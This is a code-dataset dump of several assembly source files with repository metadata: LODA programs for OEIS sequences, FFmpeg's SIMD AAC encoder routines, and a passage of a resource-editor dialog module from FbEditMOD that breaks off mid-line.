2022-03-20T16:47:57.000Z
oeis/197/A197605.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/197/A197605.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A197605: Floor( ( n + 1/n )^6 ). ; 64,244,1371,5892,19770,54992,132810,287700,572042,1061520,1861242,3112580,5000730,7762992,11697770,17174292,24643050,34646960,47833242,64966020,86939642,114792720,149722890,193102292,246493770,311667792,390620090,485590020,599079642,733873520,893059242,1080048660,1298599850,1552839792,1847287770,2186879492,2576991930,3023468880,3532647242,4111384020,4767084042,5507728400,6341903610,7278831492,8328399770,9501193392,10808526570,12262475540,13875912042,15662537520,17636918042,19814519940 mov $3,$0 add $3,$0 trn $3,2 mov $5,$0 mov $0,$3 add $0,4 mov $2,4 sub $2,$3 trn $2,1 trn $3,1 add $3,2 lpb $0 sub $0,1 mov $1,$3 add $1,4 mov $3,$2 mov $2,4 add $3,$1 lpe add $1,35 mov $4,42 mov $6,$5 lpb $4 add $1,$6 sub $4,1 lpe mov $8,$5 lpb $8 add $7,$6 sub $8,1 lpe mov $4,66 mov $6,$7 lpb $4 add $1,$6 sub $4,1 lpe mov $7,0 mov $8,$5 lpb $8 add $7,$6 sub $8,1 lpe mov $4,44 mov $6,$7 lpb $4 add $1,$6 sub $4,1 lpe mov $7,0 mov $8,$5 lpb $8 add $7,$6 sub $8,1 lpe mov $4,21 mov $6,$7 lpb $4 add $1,$6 sub $4,1 lpe mov $7,0 mov $8,$5 lpb $8 add $7,$6 sub $8,1 lpe mov $4,6 mov $6,$7 lpb $4 add $1,$6 sub $4,1 lpe mov $7,0 mov $8,$5 lpb $8 add $7,$6 sub $8,1 lpe mov $4,1 mov $6,$7 lpb $4 add $1,$6 sub $4,1 lpe mov $0,$1
14.555556
491
0.651145
1577a75175ffc5a20be2d4e3e2a630d212b3b52b
602
asm
Assembly
oeis/053/A053347.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/053/A053347.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/053/A053347.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A053347: a(n) = binomial(n+7, 7)*(n+4)/4. ; 1,10,54,210,660,1782,4290,9438,19305,37180,68068,119340,201552,329460,523260,810084,1225785,1817046,2643850,3782350,5328180,7400250,10145070,13741650,18407025,24402456,32040360,41692024,53796160,68868360,87511512,110427240,138428433,172452930,213578430,263038698,322241140,392785822,476486010,575390310,691806489,828327060,987856716,1173641700,1389301200,1638860860,1926788500,2258032140,2638060425,3072905550,3569208786,4134268710,4776092244,5503448610,6325926310,7253993242,8299060065,9473546928 mov $1,$0 add $0,7 bin $0,$1 add $1,4 mul $0,$1 div $0,4
60.2
499
0.818937
97af571ec8bb76e3ba654acc0f0df7c845244ae7
2,801
asm
Assembly
trunk/3rdparty/ffmpeg-4-fit/libavcodec/x86/aacencdsp.asm
attenuation/srs
897d2104fb79c4fc1a89e3889645424c077535bd
[ "MIT" ]
18,396
2015-11-11T09:36:37.000Z
2022-03-31T23:31:51.000Z
trunk/3rdparty/ffmpeg-4-fit/libavcodec/x86/aacencdsp.asm
attenuation/srs
897d2104fb79c4fc1a89e3889645424c077535bd
[ "MIT" ]
2,471
2015-11-10T04:01:38.000Z
2022-03-31T21:37:21.000Z
trunk/3rdparty/ffmpeg-4-fit/libavcodec/x86/aacencdsp.asm
attenuation/srs
897d2104fb79c4fc1a89e3889645424c077535bd
[ "MIT" ]
4,219
2015-11-10T12:17:34.000Z
2022-03-31T10:41:43.000Z
;****************************************************************************** ;* SIMD optimized AAC encoder DSP functions ;* ;* Copyright (C) 2016 Rostislav Pehlivanov <atomnuker@gmail.com> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_RODATA float_abs_mask: times 4 dd 0x7fffffff SECTION .text ;******************************************************************* ;void ff_abs_pow34(float *out, const float *in, const int size); ;******************************************************************* INIT_XMM sse cglobal abs_pow34, 3, 3, 3, out, in, size mova m2, [float_abs_mask] shl sizeq, 2 add inq, sizeq add outq, sizeq neg sizeq .loop: andps m0, m2, [inq+sizeq] sqrtps m1, m0 mulps m0, m1 sqrtps m0, m0 mova [outq+sizeq], m0 add sizeq, mmsize jl .loop RET ;******************************************************************* ;void ff_aac_quantize_bands(int *out, const float *in, const float *scaled, ; int size, int is_signed, int maxval, const float Q34, ; const float rounding) ;******************************************************************* INIT_XMM sse2 cglobal aac_quantize_bands, 5, 5, 6, out, in, scaled, size, is_signed, maxval, Q34, rounding %if UNIX64 == 0 movss m0, Q34m movss m1, roundingm cvtsi2ss m3, dword maxvalm %else cvtsi2ss m3, maxvald %endif shufps m0, m0, 0 shufps m1, m1, 0 shufps m3, m3, 0 shl is_signedd, 31 movd m4, is_signedd shufps m4, m4, 0 shl sized, 2 add inq, sizeq add outq, sizeq add scaledq, sizeq neg sizeq .loop: mulps m2, m0, [scaledq+sizeq] addps m2, m1 minps m2, m3 andps m5, m4, [inq+sizeq] orps m2, m5 cvttps2dq m2, m2 mova [outq+sizeq], m2 add sizeq, mmsize jl .loop RET
32.195402
92
0.538022
bbda478de17e320ecd13b516f5bc6136708fb833
22,204
asm
Assembly
Code/CustomControl/RAResEd/Src/Bak/ResourceEdit(4).asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
11
2016-12-03T16:35:42.000Z
2022-03-26T06:02:53.000Z
Code/CustomControl/RAResEd/Src/Bak/ResourceEdit(4).asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
1
2018-02-24T20:17:46.000Z
2018-03-02T08:57:40.000Z
Code/CustomControl/RAResEd/Src/Bak/ResourceEdit(4).asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
4
2018-10-19T01:14:55.000Z
2021-09-11T18:51:48.000Z
;ResourceEdit.dlg IDD_DLGRESOURCE equ 1100 IDC_GRDRES equ 1001 IDC_BTNRESADD equ 1002 IDC_BTNRESDEL equ 1003 IDC_BTNRESPREVIEW equ 1004 IDC_BTNRESEDIT equ 1005 IDD_RESPREVIEW equ 2700 IDD_RESPREVIEWBTN equ 2710 IDD_RESPREVIEWCTL equ 2720 ICONSIZE struct wt db ? ht db ? col db ? reserved db ? pl dw ? bits dw ? nsize dd ? nofs dd ? ICONSIZE ends ICONDEF struct szFile db MAX_PATH dup(?) reserved dw ? ntype dw ? ncount dw ? is1 ICONSIZE <?> is2 ICONSIZE <?> is3 ICONSIZE <?> is4 ICONSIZE <?> is5 ICONSIZE <?> is6 ICONSIZE <?> ICONDEF ends .const szRESOURCE db 'RESOURCE',0 szX db ' x ',0 IResGrdSize dd 90,100,40,140 .data? hPrvDlg1 dd ? hPrvDlg2 dd ? hPrvDlg3 dd ? hPrvBmp dd ? hPrvIcon dd ? hPrvCursor dd ? icondef ICONDEF <> ResGrdSize dd 4 dup(?) .code ExportResourceNames proc uses esi edi,hMem:DWORD invoke xGlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,64*1024 mov edi,eax invoke GlobalLock,edi push edi mov esi,hMem .while byte ptr [esi].RESOURCEMEM.szfile .if byte ptr [esi].RESOURCEMEM.szname && [esi].RESOURCEMEM.value invoke ExportName,addr [esi].RESOURCEMEM.szname,[esi].RESOURCEMEM.value,edi lea edi,[edi+eax] .endif add esi,sizeof RESOURCEMEM .endw pop eax ret ExportResourceNames endp ExportResource proc uses esi edi,hMem:DWORD invoke xGlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,64*1024 mov edi,eax invoke GlobalLock,edi push edi mov esi,hMem .while byte ptr [esi].RESOURCEMEM.szfile .if byte ptr [esi].RESOURCEMEM.szname invoke SaveStr,edi,addr [esi].RESOURCEMEM.szname add edi,eax .else invoke SaveVal,[esi].RESOURCEMEM.value,FALSE .endif mov al,' ' stosb mov eax,[esi].RESOURCEMEM.ntype push eax mov ecx,sizeof RARSTYPE mul ecx add eax,offset rarstype invoke SaveStr,edi,eax add edi,eax mov al,' ' stosb pop eax .if eax<10 invoke SaveStr,edi,offset szDISCARDABLE add edi,eax mov al,' ' stosb .endif mov al,'"' stosb xor ecx,ecx .while byte ptr [esi+ecx].RESOURCEMEM.szfile mov al,[esi+ecx].RESOURCEMEM.szfile .if al=='\' mov al,'/' .endif mov [edi],al inc ecx inc edi .endw mov al,'"' stosb mov al,0Dh stosb mov al,0Ah stosb add esi,sizeof RESOURCEMEM .endw mov al,0Dh stosb mov al,0Ah stosb mov byte ptr [edi],0 pop eax ret ExportResource endp SaveResourceEdit proc uses esi edi,hWin:HWND LOCAL hGrd:HWND LOCAL nRows:DWORD LOCAL buffer[MAX_PATH]:BYTE LOCAL lpProMem:DWORD invoke GetWindowLong,hPrj,0 mov lpProMem,eax invoke GetDlgItem,hWin,IDC_GRDRES mov hGrd,eax invoke SendMessage,hGrd,GM_GETROWCOUNT,0,0 mov nRows,eax invoke GetWindowLong,hWin,GWL_USERDATA .if !eax invoke SendMessage,hRes,PRO_ADDITEM,TPE_RESOURCE,FALSE .endif push eax mov edi,[eax].PROJECT.hmem xor esi,esi .while esi<nRows ;Type mov ecx,esi shl ecx,16 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer mov eax,dword ptr buffer mov [edi].RESOURCEMEM.ntype,eax ;Name mov ecx,esi shl ecx,16 add ecx,1 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer invoke strcpy,addr [edi].RESOURCEMEM.szname,addr buffer ;ID mov ecx,esi shl ecx,16 add ecx,2 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer mov eax,dword ptr buffer mov [edi].RESOURCEMEM.value,eax ;File mov ecx,esi shl ecx,16 add ecx,3 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer .if buffer invoke strcpy,addr [edi].RESOURCEMEM.szfile,addr buffer .if [edi].RESOURCEMEM.ntype==7 invoke FindName,lpProMem,addr szMANIFEST,FALSE .if !eax invoke AddName,lpProMem,addr szMANIFEST,addr szManifestValue .endif .endif add edi,sizeof RESOURCEMEM .endif inc esi .endw xor eax,eax mov [edi].RESOURCEMEM.ntype,eax mov [edi].RESOURCEMEM.szname,al mov [edi].RESOURCEMEM.value,eax mov [edi].RESOURCEMEM.szfile,al pop eax ret SaveResourceEdit endp SizeBmp proc uses ebx LOCAL rect:RECT LOCAL bmp:BITMAP invoke GetClientRect,hPrvDlg3,addr rect invoke GetDlgItem,hPrvDlg3,1001 mov ebx,eax invoke GetObject,hPrvBmp,sizeof BITMAP,addr bmp mov eax,rect.right sub eax,bmp.bmWidth cdq mov ecx,2 idiv ecx mov rect.left,eax mov eax,rect.bottom sub eax,bmp.bmHeight cdq mov ecx,2 idiv ecx mov rect.top,eax invoke MoveWindow,ebx,rect.left,rect.top,bmp.bmWidth,bmp.bmHeight,TRUE ret SizeBmp endp SizeIcon proc uses ebx LOCAL rect:RECT LOCAL rect1:RECT invoke GetClientRect,hPrvDlg3,addr rect invoke GetDlgItem,hPrvDlg3,1002 mov ebx,eax invoke GetClientRect,ebx,addr rect1 mov eax,rect.right sub eax,rect1.right cdq mov ecx,2 idiv ecx mov rect.left,eax mov eax,rect.bottom sub eax,rect1.bottom cdq mov ecx,2 idiv ecx mov rect.top,eax invoke MoveWindow,ebx,rect.left,rect.top,rect1.right,rect1.bottom,TRUE ret SizeIcon endp SizeAni proc LOCAL rect:RECT invoke GetClientRect,hPrvDlg3,addr rect invoke GetDlgItem,hPrvDlg3,1003 invoke MoveWindow,eax,0,0,rect.right,rect.bottom,TRUE ret SizeAni endp Destroy proc .if hPrvBmp invoke DeleteObject,hPrvBmp mov hPrvBmp,0 .endif .if hPrvIcon invoke DestroyIcon,hPrvIcon mov hPrvIcon,0 .endif .if hPrvCursor invoke DestroyCursor,hPrvCursor mov hPrvCursor,0 .endif ret Destroy endp ResPreviewBtnProc proc uses ebx esi,hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL rect:RECT mov eax,uMsg .if eax==WM_INITDIALOG .elseif eax==WM_COMMAND mov eax,wParam mov edx,eax shr edx,16 movzx eax,ax .if edx==BN_CLICKED push eax invoke GetDlgItem,hWin,eax invoke GetWindowLong,eax,GWL_USERDATA mov ecx,eax pop eax .if eax==IDCANCEL invoke SendMessage,hPrvDlg1,WM_CLOSE,0,0 .elseif eax>=1001 && eax<=1006 mov edx,ecx movzx ecx,cx shr edx,16 .if hPrvIcon invoke LoadImage,0,addr icondef.szFile,IMAGE_ICON,ecx,edx,LR_LOADFROMFILE mov hPrvIcon,eax invoke GetDlgItem,hPrvDlg3,1002 invoke SendMessage,eax,STM_SETIMAGE,IMAGE_ICON,hPrvIcon invoke DestroyIcon,eax invoke SizeIcon .elseif hPrvCursor invoke LoadImage,0,addr icondef.szFile,IMAGE_CURSOR,ecx,edx,LR_LOADFROMFILE mov hPrvCursor,eax invoke GetDlgItem,hPrvDlg3,1002 invoke SendMessage,eax,STM_SETIMAGE,IMAGE_CURSOR,hPrvCursor invoke DestroyCursor,eax invoke SizeIcon .endif .endif .endif .elseif eax==WM_SIZE invoke GetClientRect,hWin,addr rect invoke GetDlgItem,hWin,IDCANCEL mov edx,rect.bottom sub edx,28 invoke MoveWindow,eax,3,edx,88,25,TRUE .else mov eax,FALSE ret .endif mov eax,TRUE ret ResPreviewBtnProc endp ResPreviewCtlProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM mov eax,uMsg .if eax==WM_INITDIALOG .elseif eax==WM_CTLCOLORSTATIC invoke GetStockObject,WHITE_BRUSH ret .elseif eax==WM_CTLCOLORDLG invoke GetStockObject,WHITE_BRUSH ret .elseif eax==WM_SIZE invoke GetDlgItem,hWin,1001 invoke IsWindowVisible,eax .if eax invoke SizeBmp .endif invoke GetDlgItem,hWin,1002 invoke IsWindowVisible,eax .if eax invoke SizeIcon .endif invoke GetDlgItem,hWin,1003 invoke IsWindowVisible,eax .if eax invoke SizeAni .endif .else mov eax,FALSE ret .endif mov eax,TRUE ret ResPreviewCtlProc endp GetIconSize proc uses ebx esi edi,lpFile:DWORD LOCAL hFile:DWORD LOCAL dwread:DWORD LOCAL nid:DWORD LOCAL buffer[64]:BYTE invoke strcpy,addr icondef.szFile,lpFile invoke CreateFile,lpFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL .if eax!=INVALID_HANDLE_VALUE mov hFile,eax invoke ReadFile,hFile,addr icondef.reserved,sizeof icondef-MAX_PATH,addr dwread,NULL invoke CloseHandle,hFile mov nid,1001 movzx edi,icondef.ncount .if edi>6 mov edi,6 .endif lea esi,icondef.is1 .while edi movzx edx,[esi].ICONSIZE.wt .if !edx mov edx,256 .endif push edx invoke ResEdBinToDec,edx,addr buffer movzx edx,[esi].ICONSIZE.ht .if !edx mov edx,256 .endif push edx invoke ResEdBinToDec,edx,addr buffer[32] invoke strcat,addr buffer,addr szX invoke strcat,addr buffer,addr buffer[32] invoke GetDlgItem,hPrvDlg2,nid mov ebx,eax invoke SendMessage,ebx,WM_SETTEXT,0,addr buffer invoke ShowWindow,ebx,SW_SHOWNA pop eax shl eax,16 pop edx or eax,edx invoke SetWindowLong,ebx,GWL_USERDATA,eax inc nid dec edi add esi,sizeof ICONSIZE .endw invoke CheckDlgButton,hPrvDlg2,1001,BST_CHECKED .endif ret GetIconSize endp ResPreviewProc proc uses ebx esi,hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL rect:RECT mov eax,uMsg .if eax==WM_INITDIALOG mov eax,hWin mov hPrvDlg1,eax invoke CreateDialogParam,hInstance,IDD_RESPREVIEWBTN,hWin,addr ResPreviewBtnProc,0 mov hPrvDlg2,eax invoke CreateDialogParam,hInstance,IDD_RESPREVIEWCTL,hWin,addr ResPreviewCtlProc,0 mov hPrvDlg3,eax mov esi,lParam mov eax,[esi] add esi,4 .if !eax ; Bitmap invoke GetDlgItem,hPrvDlg3,1001 mov ebx,eax invoke LoadImage,0,esi,IMAGE_BITMAP,0,0,LR_LOADFROMFILE mov hPrvBmp,eax invoke SendMessage,ebx,STM_SETIMAGE,IMAGE_BITMAP,eax invoke SizeBmp invoke ShowWindow,ebx,SW_SHOW .elseif eax==1 ; Cursor invoke GetDlgItem,hPrvDlg3,1002 mov ebx,eax invoke GetIconSize,esi movzx ecx,icondef.is1.wt movzx edx,icondef.is1.ht invoke LoadImage,0,esi,IMAGE_CURSOR,ecx,edx,LR_LOADFROMFILE mov hPrvCursor,eax invoke SendMessage,ebx,STM_SETIMAGE,IMAGE_CURSOR,eax invoke SizeIcon invoke ShowWindow,ebx,SW_SHOW .elseif eax==2 ; Icon invoke GetDlgItem,hPrvDlg3,1002 mov ebx,eax invoke GetIconSize,esi movzx ecx,icondef.is1.wt movzx edx,icondef.is1.ht invoke LoadImage,0,esi,IMAGE_ICON,ecx,edx,LR_LOADFROMFILE mov hPrvIcon,eax invoke SendMessage,ebx,STM_SETIMAGE,IMAGE_ICON,eax invoke SizeIcon invoke ShowWindow,ebx,SW_SHOW .elseif eax==3 ; Animate invoke GetDlgItem,hPrvDlg3,1003 mov ebx,eax invoke SendMessage,ebx,ACM_OPEN,0,esi invoke SizeAni invoke ShowWindow,ebx,SW_SHOW .elseif eax==8 ; Anicursor invoke GetDlgItem,hPrvDlg3,1002 mov ebx,eax invoke LoadImage,0,esi,IMAGE_CURSOR,0,0,LR_LOADFROMFILE mov hPrvCursor,eax invoke SendMessage,ebx,STM_SETIMAGE,IMAGE_CURSOR,eax invoke ShowWindow,ebx,SW_SHOW .endif .elseif eax==WM_SIZE invoke GetClientRect,hWin,addr rect mov eax,rect.right sub eax,94 mov rect.right,eax invoke MoveWindow,hPrvDlg2,eax,0,94,rect.bottom,TRUE invoke MoveWindow,hPrvDlg3,0,0,rect.right,rect.bottom,TRUE .elseif eax==WM_CLOSE invoke Destroy invoke EndDialog,hWin,0 .else mov eax,FALSE ret .endif mov eax,TRUE ret ResPreviewProc endp ResourceEditProc proc uses esi,hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL hGrd:HWND LOCAL col:COLUMN LOCAL row[4]:DWORD LOCAL ofn:OPENFILENAME LOCAL buffer[MAX_PATH]:BYTE LOCAL buffer1[MAX_PATH]:BYTE LOCAL rect:RECT LOCAL fChanged:DWORD LOCAL val:DWORD mov eax,uMsg .if eax==WM_INITDIALOG invoke InitGridSize,4,offset IResGrdSize,offset ResGrdSize mov fChanged,FALSE invoke GetDlgItem,hWin,IDC_GRDRES mov hGrd,eax invoke SendMessage,hWin,WM_GETFONT,0,0 invoke SendMessage,hGrd,WM_SETFONT,eax,FALSE invoke SendMessage,hGrd,GM_SETBACKCOLOR,color.back,0 invoke SendMessage,hGrd,GM_SETTEXTCOLOR,color.text,0 invoke ConvertDpiSize,18 push eax invoke SendMessage,hGrd,GM_SETHDRHEIGHT,0,eax pop eax invoke SendMessage,hGrd,GM_SETROWHEIGHT,0,eax ;Type mov eax,ResGrdSize mov col.colwt,eax mov col.lpszhdrtext,offset szHdrType mov col.halign,GA_ALIGN_LEFT mov col.calign,GA_ALIGN_LEFT mov col.ctype,TYPE_COMBOBOX mov col.ctextmax,0 mov col.lpszformat,0 mov col.himl,0 mov col.hdrflag,0 invoke SendMessage,hGrd,GM_ADDCOL,0,addr col ;Fill types in the combo mov esi,offset rarstype .while [esi].RARSTYPE.sztype || [esi].RARSTYPE.nid .if [esi].RARSTYPE.sztype invoke SendMessage,hGrd,GM_COMBOADDSTRING,0,addr [esi].RARSTYPE.sztype .else invoke ResEdBinToDec,[esi].RARSTYPE.nid,addr buffer invoke SendMessage,hGrd,GM_COMBOADDSTRING,0,addr buffer .endif add esi,sizeof RARSTYPE .endw ;Name mov eax,ResGrdSize[4] mov col.colwt,eax mov col.lpszhdrtext,offset szHdrName mov col.halign,GA_ALIGN_LEFT mov col.calign,GA_ALIGN_LEFT mov col.ctype,TYPE_EDITTEXT mov col.ctextmax,MaxName-1 mov col.lpszformat,0 mov col.himl,0 mov col.hdrflag,0 invoke SendMessage,hGrd,GM_ADDCOL,0,addr col ;ID mov eax,ResGrdSize[8] mov col.colwt,eax mov col.lpszhdrtext,offset szHdrID mov col.halign,GA_ALIGN_RIGHT mov col.calign,GA_ALIGN_RIGHT mov col.ctype,TYPE_EDITLONG mov col.ctextmax,5 mov col.lpszformat,0 mov col.himl,0 mov col.hdrflag,0 invoke SendMessage,hGrd,GM_ADDCOL,0,addr col ;Filename mov eax,ResGrdSize[12] mov col.colwt,eax mov col.lpszhdrtext,offset szHdrFileName mov col.halign,GA_ALIGN_LEFT mov col.calign,GA_ALIGN_LEFT mov col.ctype,TYPE_EDITBUTTON mov col.ctextmax,MAX_PATH mov col.lpszformat,0 mov col.himl,0 mov col.hdrflag,0 invoke SendMessage,hGrd,GM_ADDCOL,0,addr col mov esi,lParam invoke SetWindowLong,hWin,GWL_USERDATA,esi .if esi mov esi,[esi].PROJECT.hmem .while [esi].RESOURCEMEM.szfile mov eax,[esi].RESOURCEMEM.ntype mov row,eax lea eax,[esi].RESOURCEMEM.szname mov row[4],eax mov eax,[esi].RESOURCEMEM.value mov row[8],eax lea eax,[esi].RESOURCEMEM.szfile mov row[12],eax invoke SendMessage,hGrd,GM_ADDROW,0,addr row add esi,sizeof RESOURCEMEM .endw invoke SendMessage,hGrd,GM_SETCURSEL,0,0 .else invoke SaveResourceEdit,hWin invoke SetWindowLong,hWin,GWL_USERDATA,eax mov fChanged,TRUE .endif invoke SendMessage,hPrpCboDlg,CB_RESETCONTENT,0,0 invoke SendMessage,hPrpCboDlg,CB_ADDSTRING,0,offset szRESOURCE invoke SendMessage,hPrpCboDlg,CB_SETCURSEL,0,0 mov fNoScroll,TRUE invoke ShowScrollBar,hDEd,SB_BOTH,FALSE invoke SendMessage,hWin,WM_SIZE,0,0 mov eax,fChanged mov fDialogChanged,eax invoke SetFocus,hGrd xor eax,eax jmp Ex .elseif eax==WM_COMMAND invoke GetDlgItem,hWin,IDC_GRDRES mov hGrd,eax mov edx,wParam movzx eax,dx shr edx,16 .if edx==BN_CLICKED .if eax==IDOK invoke SendMessage,hGrd,GM_GETCURSEL,0,0 invoke SendMessage,hGrd,GM_ENDEDIT,eax,FALSE invoke SaveResourceEdit,hWin .if fDialogChanged invoke SendMessage,hRes,PRO_SETMODIFY,TRUE,0 mov fDialogChanged,FALSE .endif .elseif eax==IDCANCEL invoke SendMessage,hWin,WM_CLOSE,FALSE,NULL invoke PropertyList,0 .elseif eax==IDC_BTNRESADD invoke SaveResourceEdit,hWin invoke SendMessage,hGrd,GM_ADDROW,0,NULL push eax invoke SendMessage,hGrd,GM_SETCURSEL,0,eax invoke GetFreeProjectitemID,TPE_RESOURCE mov val,eax pop edx shl edx,16 or edx,2 invoke SendMessage,hGrd,GM_SETCELLDATA,edx,addr val invoke SetFocus,hGrd mov fDialogChanged,TRUE xor eax,eax jmp Ex .elseif eax==IDC_BTNRESDEL invoke SendMessage,hGrd,GM_GETCURROW,0,0 push eax invoke SendMessage,hGrd,GM_DELROW,eax,0 pop eax invoke SendMessage,hGrd,GM_SETCURSEL,0,eax invoke SetFocus,hGrd mov fDialogChanged,TRUE invoke NotifyParent xor eax,eax jmp Ex .elseif eax==IDC_BTNRESPREVIEW invoke SendMessage,hGrd,GM_GETCURROW,0,0 mov ecx,eax shl ecx,16 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer1 mov eax,dword ptr buffer1 .if !eax || eax==1 || eax==2 || eax==3 || eax==8 invoke SendMessage,hGrd,GM_GETCURROW,0,0 mov ecx,eax shl ecx,16 or ecx,3 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer mov buffer1[4],0 mov al,buffer[1] .if al!=':' invoke strcpy,addr buffer1[4],addr szProjectPath invoke strcat,addr buffer1[4],addr szBS .endif invoke strcat,addr buffer1[4],addr buffer invoke DialogBoxParam,hInstance,IDD_RESPREVIEW,hWin,addr ResPreviewProc,addr buffer1 .endif .elseif eax==IDC_BTNRESEDIT invoke SendMessage,hGrd,GM_GETCURROW,0,0 mov ecx,eax shl ecx,16 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer1 mov eax,dword ptr buffer1 mov ecx,sizeof RARSTYPE mul ecx add eax,offset rarstype lea eax,[eax].RARSTYPE.szedit .if byte ptr [eax] push eax invoke SendMessage,hGrd,GM_GETCURROW,0,0 mov ecx,eax shl ecx,16 or ecx,3 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer1 mov al,buffer[1] .if al!=':' invoke strcpy,addr buffer,addr szProjectPath invoke strcat,addr buffer,addr szBS .endif invoke strcat,addr buffer,addr buffer1 pop edx invoke ShellExecute,hWin,NULL,edx,addr buffer,NULL,SW_SHOWNORMAL .endif .endif .endif .elseif eax==WM_NOTIFY invoke GetDlgItem,hWin,IDC_GRDRES mov hGrd,eax mov esi,lParam mov eax,[esi].NMHDR.hwndFrom .if eax==hGrd mov eax,[esi].NMHDR.code .if eax==GN_HEADERCLICK ;Sort the grid by column, invert sorting order invoke SendMessage,hGrd,GM_COLUMNSORT,[esi].GRIDNOTIFY.col,SORT_INVERT .elseif eax==GN_BUTTONCLICK ;Cell button clicked ;Zero out the ofn struct invoke RtlZeroMemory,addr ofn,sizeof ofn invoke RtlZeroMemory,addr buffer1,sizeof buffer1 ;Type mov ecx,[esi].GRIDNOTIFY.row shl ecx,16 invoke SendMessage,hGrd,GM_GETCELLDATA,ecx,addr buffer mov eax,dword ptr buffer mov ecx,sizeof RARSTYPE mul ecx add eax,offset rarstype invoke strcpy,addr buffer1,addr [eax].RARSTYPE.szext lea eax,buffer1 mov ofn.lpstrFilter,eax .while byte ptr [eax] .if byte ptr [eax]=='|' mov byte ptr [eax],0 .endif inc eax .endw mov eax,[esi].GRIDNOTIFY.lpdata .if byte ptr [eax] invoke strcpy,addr buffer,[esi].GRIDNOTIFY.lpdata .else mov buffer,0 .endif ;Setup the ofn struct mov ofn.lStructSize,sizeof ofn push hWin pop ofn.hwndOwner push hInstance pop ofn.hInstance mov ofn.lpstrInitialDir,offset szProjectPath lea eax,buffer mov ofn.lpstrFile,eax mov ofn.nMaxFile,sizeof buffer mov ofn.lpstrDefExt,NULL mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST ;Show the Open dialog invoke GetOpenFileName,addr ofn .if eax invoke RemovePath,addr buffer,addr szProjectPath mov edx,[esi].GRIDNOTIFY.lpdata invoke strcpy,edx,eax mov [esi].GRIDNOTIFY.fcancel,FALSE mov fDialogChanged,TRUE .else mov [esi].GRIDNOTIFY.fcancel,TRUE .endif .elseif eax==GN_BEFOREUPDATE .if [esi].GRIDNOTIFY.col==1 invoke CheckName,[esi].GRIDNOTIFY.lpdata .if eax mov [esi].GRIDNOTIFY.fcancel,TRUE .endif .endif .elseif eax==GN_AFTERUPDATE mov fDialogChanged,TRUE call Enable invoke NotifyParent .elseif eax==GN_AFTERSELCHANGE call Enable .endif .endif .elseif eax==WM_CLOSE invoke GetDlgItem,hWin,IDC_GRDRES mov hGrd,eax invoke SaveGrdSize,hGrd,4,offset ResGrdSize mov fNoScroll,FALSE invoke ShowScrollBar,hDEd,SB_BOTH,TRUE invoke DestroyWindow,hWin .elseif eax==WM_SIZE invoke SendMessage,hDEd,WM_VSCROLL,SB_THUMBTRACK,0 invoke SendMessage,hDEd,WM_HSCROLL,SB_THUMBTRACK,0 invoke GetClientRect,hDEd,addr rect mov rect.left,3 mov rect.top,3 sub rect.right,6 sub rect.bottom,6 invoke MoveWindow,hWin,rect.left,rect.top,rect.right,rect.bottom,TRUE invoke GetClientRect,hWin,addr rect .if rect.right<470 mov rect.right,470 .endif invoke GetDlgItem,hWin,IDC_BTNRESADD mov edx,rect.right sub edx,64+3 invoke MoveWindow,eax,edx,3,64,22,TRUE invoke GetDlgItem,hWin,IDC_BTNRESDEL mov edx,rect.right sub edx,64+3 invoke MoveWindow,eax,edx,3+22+6,64,22,TRUE invoke GetDlgItem,hWin,IDC_BTNRESPREVIEW mov edx,rect.right sub edx,64+3 invoke MoveWindow,eax,edx,3+22+6+22+6,64,22,TRUE invoke GetDlgItem,hWin,IDC_BTNRESEDIT mov edx,rect.right sub edx,64+3 invoke MoveWindow,eax,edx,3+22+6+22+6+22+6,64,22,TRUE invoke 